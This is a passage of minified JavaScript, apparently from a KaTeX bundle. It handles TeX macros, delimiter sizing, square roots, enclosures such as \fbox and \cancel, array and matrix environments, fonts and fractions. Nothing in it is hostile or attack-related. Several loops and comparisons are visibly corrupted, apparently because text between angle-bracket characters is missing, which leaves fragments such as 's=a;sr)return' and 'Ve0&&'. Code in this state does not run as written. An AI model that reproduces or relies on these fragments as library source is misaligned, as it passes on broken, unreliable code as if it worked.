s&&u.unshift(s),(r==="\\edef"||r==="\\xdef")&&(u=e.gullet.expandTokens(u),u.reverse()),e.gullet.macros.set(i,{tokens:u,numArgs:a,delimiters:l},r===rA[r]),{type:"internal",mode:e.mode}}});Mt({type:"internal",names:["\\let","\\\\globallet"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t){var{parser:e,funcName:r}=t,n=pU(e.gullet.popToken());e.gullet.consumeSpaces();var i=owe(e);return mU(e,n,i,r==="\\\\globallet"),{type:"internal",mode:e.mode}}});Mt({type:"internal",names:["\\futurelet","\\\\globalfuture"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t){var{parser:e,funcName:r}=t,n=pU(e.gullet.popToken()),i=e.gullet.popToken(),a=e.gullet.popToken();return mU(e,n,a,r==="\\\\globalfuture"),e.gullet.pushToken(a),e.gullet.pushToken(i),{type:"internal",mode:e.mode}}});qy=o(function(e,r,n){var i=Nn.math[e]&&Nn.math[e].replace,a=lA(i||e,r,n);if(!a)throw new Error("Unsupported symbol "+e+" and font size "+r+".");return a},"getMetrics"),pA=o(function(e,r,n,i){var a=n.havingBaseStyle(r),s=$e.makeSpan(i.concat(a.sizingClasses(n)),[e],n),l=a.sizeMultiplier/n.sizeMultiplier;return s.height*=l,s.depth*=l,s.maxFontSize=a.sizeMultiplier,s},"styleWrap"),gU=o(function(e,r,n){var i=r.havingBaseStyle(n),a=(1-r.sizeMultiplier/i.sizeMultiplier)*r.fontMetrics().axisHeight;e.classes.push("delimcenter"),e.style.top=St(a),e.height-=a,e.depth+=a},"centerSpan"),lwe=o(function(e,r,n,i,a,s){var l=$e.makeSymbol(e,"Main-Regular",a,i),u=pA(l,r,i,s);return n&&gU(u,i,r),u},"makeSmallDelim"),cwe=o(function(e,r,n,i){return $e.makeSymbol(e,"Size"+r+"-Regular",n,i)},"mathrmSize"),yU=o(function(e,r,n,i,a,s){var l=cwe(e,r,a,i),u=pA($e.makeSpan(["delimsizing","size"+r],[l],i),nr.TEXT,i,s);return n&&gU(u,i,nr.TEXT),u},"makeLargeDelim"),z7=o(function(e,r,n){var i;r==="Size1-Regular"?i="delim-size1":i="delim-size4";var a=$e.makeSpan(["delimsizinginner",i],[$e.makeSpan([],[$e.makeSymbol(e,r,n)])]);return{type:"elem",elem:a}},"makeGlyphSpan"),G7=o(function(e,r,n){var i=Ql["Size4-Regular"][e.charCodeAt(0)]?Ql["Size4-Regular"][e.charCodeAt(0)][4]:Ql["Size1-Regular"][e.charCodeAt(0)][4],a=new Zl("inner",yTe(e,Math.round(1e3*r))),s=new dl([a],{width:St(i),height:St(r),style:"width:"+St(i),viewBox:"0 0 "+1e3*i+" "+Math.round(1e3*r),preserveAspectRatio:"xMinYMin"}),l=$e.makeSvgSpan([],[s],n);return l.height=r,l.style.height=St(r),l.style.width=St(i),{type:"elem",elem:l}},"makeInner"),nA=.008,g3={type:"kern",size:-1*nA},uwe=["|","\\lvert","\\rvert","\\vert"],hwe=["\\|","\\lVert","\\rVert","\\Vert"],vU=o(function(e,r,n,i,a,s){var l,u,h,f,d="",p=0;l=h=f=e,u=null;var m="Size1-Regular";e==="\\uparrow"?h=f="\u23D0":e==="\\Uparrow"?h=f="\u2016":e==="\\downarrow"?l=h="\u23D0":e==="\\Downarrow"?l=h="\u2016":e==="\\updownarrow"?(l="\\uparrow",h="\u23D0",f="\\downarrow"):e==="\\Updownarrow"?(l="\\Uparrow",h="\u2016",f="\\Downarrow"):er.contains(uwe,e)?(h="\u2223",d="vert",p=333):er.contains(hwe,e)?(h="\u2225",d="doublevert",p=556):e==="["||e==="\\lbrack"?(l="\u23A1",h="\u23A2",f="\u23A3",m="Size4-Regular",d="lbrack",p=667):e==="]"||e==="\\rbrack"?(l="\u23A4",h="\u23A5",f="\u23A6",m="Size4-Regular",d="rbrack",p=667):e==="\\lfloor"||e==="\u230A"?(h=l="\u23A2",f="\u23A3",m="Size4-Regular",d="lfloor",p=667):e==="\\lceil"||e==="\u2308"?(l="\u23A1",h=f="\u23A2",m="Size4-Regular",d="lceil",p=667):e==="\\rfloor"||e==="\u230B"?(h=l="\u23A5",f="\u23A6",m="Size4-Regular",d="rfloor",p=667):e==="\\rceil"||e==="\u2309"?(l="\u23A4",h=f="\u23A5",m="Size4-Regular",d="rceil",p=667):e==="("||e==="\\lparen"?(l="\u239B",h="\u239C",f="\u239D",m="Size4-Regular",d="lparen",p=875):e===")"||e==="\\rparen"?(l="\u239E",h="\u239F",f="\u23A0",m="Size4-Regular",d="rparen",p=875):e==="\\{"||e==="\\lbrace"?(l="\u23A7",u="\u23A8",f="\u23A9",h="\u23AA",m="Size4-Regular"):e==="\\}"||e==="\\rbrace"?(l="\u23AB",u="\u23AC",f="\u23AD",h="\u23AA",m="Size4-Regular"):e==="\\lgroup"||e==="\u27EE"?(l="\u23A7",f="\u23A9",h="\u23AA",m="Size4-Regular"):e==="\\rgroup"||e==="\u27EF"?(l="\u23AB",f="\u23AD",h="\u23AA",m="Size4-Regular"):e==="\\lmoustache"||e==="\u23B0"?(l="\u23A7",f="\u23AD",h="\u23AA",m="Size4-Regular"):(e==="\\rmoustache"||e==="\u23B1")&&(l="\u23AB",f="\u23A9",h="\u23AA",m="Size4-Regular");var g=qy(l,m,a),y=g.height+g.depth,v=qy(h,m,a),x=v.height+v.depth,b=qy(f,m,a),T=b.height+b.depth,S=0,w=1;if(u!==null){var k=qy(u,m,a);S=k.height+k.depth,w=2}var A=y+T+S,C=Math.max(0,Math.ceil((r-A)/(w*x))),R=A+C*w*x,I=i.fontMetrics().axisHeight;n&&(I*=i.sizeMultiplier);var L=R/2-I,E=[];if(d.length>0){var D=R-y-T,_=Math.round(R*1e3),O=vTe(d,Math.round(D*1e3)),M=new Zl(d,O),P=(p/1e3).toFixed(3)+"em",B=(_/1e3).toFixed(3)+"em",F=new dl([M],{width:P,height:B,viewBox:"0 0 "+p+" "+_}),G=$e.makeSvgSpan([],[F],i);G.height=_/1e3,G.style.width=P,G.style.height=B,E.push({type:"elem",elem:G})}else{if(E.push(z7(f,m,a)),E.push(g3),u===null){var $=R-y-T+2*nA;E.push(G7(h,$,i))}else{var U=(R-y-T-S)/2+2*nA;E.push(G7(h,U,i)),E.push(g3),E.push(z7(u,m,a)),E.push(g3),E.push(G7(h,U,i))}E.push(g3),E.push(z7(l,m,a))}var j=i.havingBaseStyle(nr.TEXT),te=$e.makeVList({positionType:"bottom",positionData:L,children:E},j);return pA($e.makeSpan(["delimsizing","mult"],[te],j),nr.TEXT,i,s)},"makeStackedDelim"),V7=80,U7=.08,H7=o(function(e,r,n,i,a){var s=gTe(e,i,n),l=new Zl(e,s),u=new dl([l],{width:"400em",height:St(r),viewBox:"0 0 400000 "+n,preserveAspectRatio:"xMinYMin slice"});return $e.makeSvgSpan(["hide-tail"],[u],a)},"sqrtSvg"),fwe=o(function(e,r){var n=r.havingBaseSizing(),i=wU("\\surd",e*n.sizeMultiplier,TU,n),a=n.sizeMultiplier,s=Math.max(0,r.minRuleThickness-r.fontMetrics().sqrtRuleThickness),l,u=0,h=0,f=0,d;return i.type==="small"?(f=1e3+1e3*s+V7,e<1?a=1:e<1.4&&(a=.7),u=(1+s+U7)/a,h=(1+s)/a,l=H7("sqrtMain",u,f,s,r),l.style.minWidth="0.853em",d=.833/a):i.type==="large"?(f=(1e3+V7)*Yy[i.size],h=(Yy[i.size]+s)/a,u=(Yy[i.size]+s+U7)/a,l=H7("sqrtSize"+i.size,u,f,s,r),l.style.minWidth="1.02em",d=1/a):(u=e+s+U7,h=e+s,f=Math.floor(1e3*e+s)+V7,l=H7("sqrtTall",u,f,s,r),l.style.minWidth="0.742em",d=1.056),l.height=h,l.style.height=St(u),{span:l,advanceWidth:d,ruleWidth:(r.fontMetrics().sqrtRuleThickness+s)*a}},"makeSqrtImage"),xU=["(","\\lparen",")","\\rparen","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\u230A","\u230B","\\lceil","\\rceil","\u2308","\u2309","\\surd"],dwe=["\\uparrow","\\downarrow","\\updownarrow","\\Uparrow","\\Downarrow","\\Updownarrow","|","\\|","\\vert","\\Vert","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\u27EE","\u27EF","\\lmoustache","\\rmoustache","\u23B0","\u23B1"],bU=["<",">","\\langle","\\rangle","/","\\backslash","\\lt","\\gt"],Yy=[0,1.2,1.8,2.4,3],pwe=o(function(e,r,n,i,a){if(e==="<"||e==="\\lt"||e==="\u27E8"?e="\\langle":(e===">"||e==="\\gt"||e==="\u27E9")&&(e="\\rangle"),er.contains(xU,e)||er.contains(bU,e))return yU(e,r,!1,n,i,a);if(er.contains(dwe,e))return vU(e,Yy[r],!1,n,i,a);throw new gt("Illegal delimiter: '"+e+"'")},"makeSizedDelim"),mwe=[{type:"small",style:nr.SCRIPTSCRIPT},{type:"small",style:nr.SCRIPT},{type:"small",style:nr.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4}],gwe=[{type:"small",style:nr.SCRIPTSCRIPT},{type:"small",style:nr.SCRIPT},{type:"small",style:nr.TEXT},{type:"stack"}],TU=[{type:"small",style:nr.SCRIPTSCRIPT},{type:"small",style:nr.SCRIPT},{type:"small",style:nr.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4},{type:"stack"}],ywe=o(function(e){if(e.type==="small")return"Main-Regular";if(e.type==="large")return"Size"+e.size+"-Regular";if(e.type==="stack")return"Size4-Regular";throw new Error("Add support for delim type '"+e.type+"' here.")},"delimTypeToFont"),wU=o(function(e,r,n,i){for(var a=Math.min(2,3-i.style.size),s=a;sr)return n[s]}return n[n.length-1]},"traverseSequence"),kU=o(function(e,r,n,i,a,s){e==="<"||e==="\\lt"||e==="\u27E8"?e="\\langle":(e===">"||e==="\\gt"||e==="\u27E9")&&(e="\\rangle");var l;er.contains(bU,e)?l=mwe:er.contains(xU,e)?l=TU:l=gwe;var u=wU(e,r,l,i);return u.type==="small"?lwe(e,u.style,n,i,a,s):u.type==="large"?yU(e,u.size,n,i,a,s):vU(e,r,n,i,a,s)},"makeCustomSizedDelim"),vwe=o(function(e,r,n,i,a,s){var l=i.fontMetrics().axisHeight*i.sizeMultiplier,u=901,h=5/i.fontMetrics().ptPerEm,f=Math.max(r-l,n+l),d=Math.max(f/500*u,2*f-h);return kU(e,d,!0,i,a,s)},"makeLeftRightDelim"),fu={sqrtImage:fwe,sizedDelim:pwe,sizeToMaxHeight:Yy,customSizedDelim:kU,leftRightDelim:vwe},AV={"\\bigl":{mclass:"mopen",size:1},"\\Bigl":{mclass:"mopen",size:2},"\\biggl":{mclass:"mopen",size:3},"\\Biggl":{mclass:"mopen",size:4},"\\bigr":{mclass:"mclose",size:1},"\\Bigr":{mclass:"mclose",size:2},"\\biggr":{mclass:"mclose",size:3},"\\Biggr":{mclass:"mclose",size:4},"\\bigm":{mclass:"mrel",size:1},"\\Bigm":{mclass:"mrel",size:2},"\\biggm":{mclass:"mrel",size:3},"\\Biggm":{mclass:"mrel",size:4},"\\big":{mclass:"mord",size:1},"\\Big":{mclass:"mord",size:2},"\\bigg":{mclass:"mord",size:3},"\\Bigg":{mclass:"mord",size:4}},xwe=["(","\\lparen",")","\\rparen","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\u230A","\u230B","\\lceil","\\rceil","\u2308","\u2309","<",">","\\langle","\u27E8","\\rangle","\u27E9","\\lt","\\gt","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\u27EE","\u27EF","\\lmoustache","\\rmoustache","\u23B0","\u23B1","/","\\backslash","|","\\vert","\\|","\\Vert","\\uparrow","\\Uparrow","\\downarrow","\\Downarrow","\\updownarrow","\\Updownarrow","."];o(R3,"checkDelimiter");Mt({type:"delimsizing",names:["\\bigl","\\Bigl","\\biggl","\\Biggl","\\bigr","\\Bigr","\\biggr","\\Biggr","\\bigm","\\Bigm","\\biggm","\\Biggm","\\big","\\Big","\\bigg","\\Bigg"],props:{numArgs:1,argTypes:["primitive"]},handler:o((t,e)=>{var r=R3(e[0],t);return{type:"delimsizing",mode:t.parser.mode,size:AV[t.funcName].size,mclass:AV[t.funcName].mclass,delim:r.text}},"handler"),htmlBuilder:o((t,e)=>t.delim==="."?$e.makeSpan([t.mclass]):fu.sizedDelim(t.delim,t.size,e,t.mode,[t.mclass]),"htmlBuilder"),mathmlBuilder:o(t=>{var e=[];t.delim!=="."&&e.push(Lo(t.delim,t.mode));var r=new mt.MathNode("mo",e);t.mclass==="mopen"||t.mclass==="mclose"?r.setAttribute("fence","true"):r.setAttribute("fence","false"),r.setAttribute("stretchy","true");var n=St(fu.sizeToMaxHeight[t.size]);return r.setAttribute("minsize",n),r.setAttribute("maxsize",n),r},"mathmlBuilder")});o(_V,"assertParsed");Mt({type:"leftright-right",names:["\\right"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var r=t.parser.gullet.macros.get("\\current@color");if(r&&typeof r!="string")throw new gt("\\current@color set to non-string in \\right");return{type:"leftright-right",mode:t.parser.mode,delim:R3(e[0],t).text,color:r}},"handler")});Mt({type:"leftright",names:["\\left"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var r=R3(e[0],t),n=t.parser;++n.leftrightDepth;var i=n.parseExpression(!1);--n.leftrightDepth,n.expect("\\right",!1);var a=Tr(n.parseFunction(),"leftright-right");return{type:"leftright",mode:n.mode,body:i,left:r.text,right:a.delim,rightColor:a.color}},"handler"),htmlBuilder:o((t,e)=>{_V(t);for(var r=Ii(t.body,e,!0,["mopen","mclose"]),n=0,i=0,a=!1,s=0;s{_V(t);var r=As(t.body,e);if(t.left!=="."){var n=new mt.MathNode("mo",[Lo(t.left,t.mode)]);n.setAttribute("fence","true"),r.unshift(n)}if(t.right!=="."){var i=new mt.MathNode("mo",[Lo(t.right,t.mode)]);i.setAttribute("fence","true"),t.rightColor&&i.setAttribute("mathcolor",t.rightColor),r.push(i)}return uA(r)},"mathmlBuilder")});Mt({type:"middle",names:["\\middle"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var r=R3(e[0],t);if(!t.parser.leftrightDepth)throw new gt("\\middle without preceding \\left",r);return{type:"middle",mode:t.parser.mode,delim:r.text}},"handler"),htmlBuilder:o((t,e)=>{var r;if(t.delim===".")r=Zy(e,[]);else{r=fu.sizedDelim(t.delim,1,e,t.mode,[]);var n={delim:t.delim,options:e};r.isMiddle=n}return r},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=t.delim==="\\vert"||t.delim==="|"?Lo("|","text"):Lo(t.delim,t.mode),n=new mt.MathNode("mo",[r]);return n.setAttribute("fence","true"),n.setAttribute("lspace","0.05em"),n.setAttribute("rspace","0.05em"),n},"mathmlBuilder")});mA=o((t,e)=>{var r=$e.wrapFragment(Hr(t.body,e),e),n=t.label.slice(1),i=e.sizeMultiplier,a,s=0,l=er.isCharacterBox(t.body);if(n==="sout")a=$e.makeSpan(["stretchy","sout"]),a.height=e.fontMetrics().defaultRuleThickness/i,s=-.5*e.fontMetrics().xHeight;else if(n==="phase"){var u=ii({number:.6,unit:"pt"},e),h=ii({number:.35,unit:"ex"},e),f=e.havingBaseSizing();i=i/f.sizeMultiplier;var d=r.height+r.depth+u+h;r.style.paddingLeft=St(d/2+u);var p=Math.floor(1e3*d*i),m=pTe(p),g=new dl([new Zl("phase",m)],{width:"400em",height:St(p/1e3),viewBox:"0 0 400000 "+p,preserveAspectRatio:"xMinYMin slice"});a=$e.makeSvgSpan(["hide-tail"],[g],e),a.style.height=St(d),s=r.depth+u+h}else{/cancel/.test(n)?l||r.classes.push("cancel-pad"):n==="angl"?r.classes.push("anglpad"):r.classes.push("boxpad");var y=0,v=0,x=0;/box/.test(n)?(x=Math.max(e.fontMetrics().fboxrule,e.minRuleThickness),y=e.fontMetrics().fboxsep+(n==="colorbox"?0:x),v=y):n==="angl"?(x=Math.max(e.fontMetrics().defaultRuleThickness,e.minRuleThickness),y=4*x,v=Math.max(0,.25-r.depth)):(y=l?.2:0,v=y),a=pu.encloseSpan(r,n,y,v,e),/fbox|boxed|fcolorbox/.test(n)?(a.style.borderStyle="solid",a.style.borderWidth=St(x)):n==="angl"&&x!==.049&&(a.style.borderTopWidth=St(x),a.style.borderRightWidth=St(x)),s=r.depth+v,t.backgroundColor&&(a.style.backgroundColor=t.backgroundColor,t.borderColor&&(a.style.borderColor=t.borderColor))}var b;if(t.backgroundColor)b=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:a,shift:s},{type:"elem",elem:r,shift:0}]},e);else{var T=/cancel|phase/.test(n)?["svg-align"]:[];b=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:r,shift:0},{type:"elem",elem:a,shift:s,wrapperClasses:T}]},e)}return/cancel/.test(n)&&(b.height=r.height,b.depth=r.depth),/cancel/.test(n)&&!l?$e.makeSpan(["mord","cancel-lap"],[b],e):$e.makeSpan(["mord"],[b],e)},"htmlBuilder$7"),gA=o((t,e)=>{var r=0,n=new mt.MathNode(t.label.indexOf("colorbox")>-1?"mpadded":"menclose",[wn(t.body,e)]);switch(t.label){case"\\cancel":n.setAttribute("notation","updiagonalstrike");break;case"\\bcancel":n.setAttribute("notation","downdiagonalstrike");break;case"\\phase":n.setAttribute("notation","phasorangle");break;case"\\sout":n.setAttribute("notation","horizontalstrike");break;case"\\fbox":n.setAttribute("notation","box");break;case"\\angl":n.setAttribute("notation","actuarial");break;case"\\fcolorbox":case"\\colorbox":if(r=e.fontMetrics().fboxsep*e.fontMetrics().ptPerEm,n.setAttribute("width","+"+2*r+"pt"),n.setAttribute("height","+"+2*r+"pt"),n.setAttribute("lspace",r+"pt"),n.setAttribute("voffset",r+"pt"),t.label==="\\fcolorbox"){var i=Math.max(e.fontMetrics().fboxrule,e.minRuleThickness);n.setAttribute("style","border: "+i+"em solid "+String(t.borderColor))}break;case"\\xcancel":n.setAttribute("notation","updiagonalstrike downdiagonalstrike");break}return t.backgroundColor&&n.setAttribute("mathbackground",t.backgroundColor),n},"mathmlBuilder$6");Mt({type:"enclose",names:["\\colorbox"],props:{numArgs:2,allowedInText:!0,argTypes:["color","text"]},handler(t,e,r){var{parser:n,funcName:i}=t,a=Tr(e[0],"color-token").color,s=e[1];return{type:"enclose",mode:n.mode,label:i,backgroundColor:a,body:s}},htmlBuilder:mA,mathmlBuilder:gA});Mt({type:"enclose",names:["\\fcolorbox"],props:{numArgs:3,allowedInText:!0,argTypes:["color","color","text"]},handler(t,e,r){var{parser:n,funcName:i}=t,a=Tr(e[0],"color-token").color,s=Tr(e[1],"color-token").color,l=e[2];return{type:"enclose",mode:n.mode,label:i,backgroundColor:s,borderColor:a,body:l}},htmlBuilder:mA,mathmlBuilder:gA});Mt({type:"enclose",names:["\\fbox"],props:{numArgs:1,argTypes:["hbox"],allowedInText:!0},handler(t,e){var{parser:r}=t;return{type:"enclose",mode:r.mode,label:"\\fbox",body:e[0]}}});Mt({type:"enclose",names:["\\cancel","\\bcancel","\\xcancel","\\sout","\\phase"],props:{numArgs:1},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];return{type:"enclose",mode:r.mode,label:n,body:i}},htmlBuilder:mA,mathmlBuilder:gA});Mt({type:"enclose",names:["\\angl"],props:{numArgs:1,argTypes:["hbox"],allowedInText:!1},handler(t,e){var{parser:r}=t;return{type:"enclose",mode:r.mode,label:"\\angl",body:e[0]}}});EU={};o(Jl,"defineEnvironment");SU={};o(ce,"defineMacro");o(DV,"getHLines");N3=o(t=>{var e=t.parser.settings;if(!e.displayMode)throw new gt("{"+t.envName+"} can be used only in display mode.")},"validateAmsEnvironmentContext");o(yA,"getAutoTag");o(wh,"parseArray");o(vA,"dCellStyle");ec=o(function(e,r){var n,i,a=e.body.length,s=e.hLinesBeforeRow,l=0,u=new Array(a),h=[],f=Math.max(r.fontMetrics().arrayRuleWidth,r.minRuleThickness),d=1/r.fontMetrics().ptPerEm,p=5*d;if(e.colSeparationType&&e.colSeparationType==="small"){var m=r.havingStyle(nr.SCRIPT).sizeMultiplier;p=.2778*(m/r.sizeMultiplier)}var g=e.colSeparationType==="CD"?ii({number:3,unit:"ex"},r):12*d,y=3*d,v=e.arraystretch*g,x=.7*v,b=.3*v,T=0;function S(q){for(var Ve=0;Ve0&&(T+=.25),h.push({pos:T,isDashed:q[Ve]})}for(o(S,"setHLinePos"),S(s[0]),n=0;n0&&(L+=b,Aq))for(n=0;n=l)){var J=void 0;(i>0||e.hskipBeforeAndAfter)&&(J=er.deflt(U.pregap,p),J!==0&&(O=$e.makeSpan(["arraycolsep"],[]),O.style.width=St(J),_.push(O)));var ue=[];for(n=0;n0){for(var K=$e.makeLineSpan("hline",r,f),ae=$e.makeLineSpan("hdashline",r,f),Q=[{type:"elem",elem:u,shift:0}];h.length>0;){var de=h.pop(),ne=de.pos-E;de.isDashed?Q.push({type:"elem",elem:ae,shift:ne}):Q.push({type:"elem",elem:K,shift:ne})}u=$e.makeVList({positionType:"individualShift",children:Q},r)}if(P.length===0)return $e.makeSpan(["mord"],[u],r);var Te=$e.makeVList({positionType:"individualShift",children:P},r);return Te=$e.makeSpan(["tag"],[Te],r),$e.makeFragment([u,Te])},"htmlBuilder"),bwe={c:"center ",l:"left ",r:"right "},tc=o(function(e,r){for(var n=[],i=new mt.MathNode("mtd",[],["mtr-glue"]),a=new mt.MathNode("mtd",[],["mml-eqn-num"]),s=0;s0){var g=e.cols,y="",v=!1,x=0,b=g.length;g[0].type==="separator"&&(p+="top ",x=1),g[g.length-1].type==="separator"&&(p+="bottom ",b-=1);for(var T=x;T0?"left ":"",p+=C[C.length-1].length>0?"right ":"";for(var R=1;R-1?"alignat":"align",a=e.envName==="split",s=wh(e.parser,{cols:n,addJot:!0,autoTag:a?void 0:yA(e.envName),emptySingleRow:!0,colSeparationType:i,maxNumCols:a?2:void 0,leqno:e.parser.settings.leqno},"display"),l,u=0,h={type:"ordgroup",mode:e.mode,body:[]};if(r[0]&&r[0].type==="ordgroup"){for(var f="",d=0;d0&&m&&(v=1),n[g]={type:"align",align:y,pregap:v,postgap:0}}return s.colSeparationType=m?"align":"alignat",s},"alignedHandler");Jl({type:"array",names:["array","darray"],props:{numArgs:1},handler(t,e){var r=D3(e[0]),n=r?[e[0]]:Tr(e[0],"ordgroup").body,i=n.map(function(s){var l=fA(s),u=l.text;if("lcr".indexOf(u)!==-1)return{type:"align",align:u};if(u==="|")return{type:"separator",separator:"|"};if(u===":")return{type:"separator",separator:":"};throw new gt("Unknown column alignment: "+u,s)}),a={cols:i,hskipBeforeAndAfter:!0,maxNumCols:i.length};return wh(t.parser,a,vA(t.envName))},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["matrix","pmatrix","bmatrix","Bmatrix","vmatrix","Vmatrix","matrix*","pmatrix*","bmatrix*","Bmatrix*","vmatrix*","Vmatrix*"],props:{numArgs:0},handler(t){var e={matrix:null,pmatrix:["(",")"],bmatrix:["[","]"],Bmatrix:["\\{","\\}"],vmatrix:["|","|"],Vmatrix:["\\Vert","\\Vert"]}[t.envName.replace("*","")],r="c",n={hskipBeforeAndAfter:!1,cols:[{type:"align",align:r}]};if(t.envName.charAt(t.envName.length-1)==="*"){var i=t.parser;if(i.consumeSpaces(),i.fetch().text==="["){if(i.consume(),i.consumeSpaces(),r=i.fetch().text,"lcr".indexOf(r)===-1)throw new gt("Expected l or c or r",i.nextToken);i.consume(),i.consumeSpaces(),i.expect("]"),i.consume(),n.cols=[{type:"align",align:r}]}}var a=wh(t.parser,n,vA(t.envName)),s=Math.max(0,...a.body.map(l=>l.length));return a.cols=new Array(s).fill({type:"align",align:r}),e?{type:"leftright",mode:t.mode,body:[a],left:e[0],right:e[1],rightColor:void 0}:a},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["smallmatrix"],props:{numArgs:0},handler(t){var e={arraystretch:.5},r=wh(t.parser,e,"script");return r.colSeparationType="small",r},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["subarray"],props:{numArgs:1},handler(t,e){var r=D3(e[0]),n=r?[e[0]]:Tr(e[0],"ordgroup").body,i=n.map(function(s){var l=fA(s),u=l.text;if("lc".indexOf(u)!==-1)return{type:"align",align:u};throw new gt("Unknown column alignment: "+u,s)});if(i.length>1)throw new gt("{subarray} can contain only one column");var a={cols:i,hskipBeforeAndAfter:!1,arraystretch:.5};if(a=wh(t.parser,a,"script"),a.body.length>0&&a.body[0].length>1)throw new gt("{subarray} can contain only one column");return a},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["cases","dcases","rcases","drcases"],props:{numArgs:0},handler(t){var e={arraystretch:1.2,cols:[{type:"align",align:"l",pregap:0,postgap:1},{type:"align",align:"l",pregap:0,postgap:0}]},r=wh(t.parser,e,vA(t.envName));return{type:"leftright",mode:t.mode,body:[r],left:t.envName.indexOf("r")>-1?".":"\\{",right:t.envName.indexOf("r")>-1?"\\}":".",rightColor:void 0}},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["align","align*","aligned","split"],props:{numArgs:0},handler:CU,htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["gathered","gather","gather*"],props:{numArgs:0},handler(t){er.contains(["gather","gather*"],t.envName)&&N3(t);var e={cols:[{type:"align",align:"c"}],addJot:!0,colSeparationType:"gather",autoTag:yA(t.envName),emptySingleRow:!0,leqno:t.parser.settings.leqno};return wh(t.parser,e,"display")},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["alignat","alignat*","alignedat"],props:{numArgs:1},handler:CU,htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["equation","equation*"],props:{numArgs:0},handler(t){N3(t);var e={autoTag:yA(t.envName),emptySingleRow:!0,singleRow:!0,maxNumCols:1,leqno:t.parser.settings.leqno};return wh(t.parser,e,"display")},htmlBuilder:ec,mathmlBuilder:tc});Jl({type:"array",names:["CD"],props:{numArgs:0},handler(t){return N3(t),swe(t.parser)},htmlBuilder:ec,mathmlBuilder:tc});ce("\\nonumber","\\gdef\\@eqnsw{0}");ce("\\notag","\\nonumber");Mt({type:"text",names:["\\hline","\\hdashline"],props:{numArgs:0,allowedInText:!0,allowedInMath:!0},handler(t,e){throw new gt(t.funcName+" valid only within array environment")}});LV=EU;Mt({type:"environment",names:["\\begin","\\end"],props:{numArgs:1,argTypes:["text"]},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];if(i.type!=="ordgroup")throw new gt("Invalid environment name",i);for(var a="",s=0;s{var r=t.font,n=e.withFont(r);return Hr(t.body,n)},"htmlBuilder$5"),_U=o((t,e)=>{var r=t.font,n=e.withFont(r);return wn(t.body,n)},"mathmlBuilder$4"),RV={"\\Bbb":"\\mathbb","\\bold":"\\mathbf","\\frak":"\\mathfrak","\\bm":"\\boldsymbol"};Mt({type:"font",names:["\\mathrm","\\mathit","\\mathbf","\\mathnormal","\\mathsfit","\\mathbb","\\mathcal","\\mathfrak","\\mathscr","\\mathsf","\\mathtt","\\Bbb","\\bold","\\frak"],props:{numArgs:1,allowedInArgument:!0},handler:o((t,e)=>{var{parser:r,funcName:n}=t,i=E3(e[0]),a=n;return a in RV&&(a=RV[a]),{type:"font",mode:r.mode,font:a.slice(1),body:i}},"handler"),htmlBuilder:AU,mathmlBuilder:_U});Mt({type:"mclass",names:["\\boldsymbol","\\bm"],props:{numArgs:1},handler:o((t,e)=>{var{parser:r}=t,n=e[0],i=er.isCharacterBox(n);return{type:"mclass",mode:r.mode,mclass:L3(n),body:[{type:"font",mode:r.mode,font:"boldsymbol",body:n}],isCharacterBox:i}},"handler")});Mt({type:"font",names:["\\rm","\\sf","\\tt","\\bf","\\it","\\cal"],props:{numArgs:0,allowedInText:!0},handler:o((t,e)=>{var{parser:r,funcName:n,breakOnTokenText:i}=t,{mode:a}=r,s=r.parseExpression(!0,i),l="math"+n.slice(1);return{type:"font",mode:a,font:l,body:{type:"ordgroup",mode:r.mode,body:s}}},"handler"),htmlBuilder:AU,mathmlBuilder:_U});DU=o((t,e)=>{var r=e;return t==="display"?r=r.id>=nr.SCRIPT.id?r.text():nr.DISPLAY:t==="text"&&r.size===nr.DISPLAY.size?r=nr.TEXT:t==="script"?r=nr.SCRIPT:t==="scriptscript"&&(r=nr.SCRIPTSCRIPT),r},"adjustStyle"),xA=o((t,e)=>{var r=DU(t.size,e.style),n=r.fracNum(),i=r.fracDen(),a;a=e.havingStyle(n);var s=Hr(t.numer,a,e);if(t.continued){var l=8.5/e.fontMetrics().ptPerEm,u=3.5/e.fontMetrics().ptPerEm;s.height=s.height0?g=3*p:g=7*p,y=e.fontMetrics().denom1):(d>0?(m=e.fontMetrics().num2,g=p):(m=e.fontMetrics().num3,g=3*p),y=e.fontMetrics().denom2);var v;if(f){var b=e.fontMetrics().axisHeight;m-s.depth-(b+.5*d){var r=new mt.MathNode("mfrac",[wn(t.numer,e),wn(t.denom,e)]);if(!t.hasBarLine)r.setAttribute("linethickness","0px");else if(t.barSize){var n=ii(t.barSize,e);r.setAttribute("linethickness",St(n))}var i=DU(t.size,e.style);if(i.size!==e.style.size){r=new mt.MathNode("mstyle",[r]);var a=i.size===nr.DISPLAY.size?"true":"false";r.setAttribute("displaystyle",a),r.setAttribute("scriptlevel","0")}if(t.leftDelim!=null||t.rightDelim!=null){var s=[];if(t.leftDelim!=null){var l=new mt.MathNode("mo",[new mt.TextNode(t.leftDelim.replace("\\",""))]);l.setAttribute("fence","true"),s.push(l)}if(s.push(r),t.rightDelim!=null){var u=new mt.MathNode("mo",[new 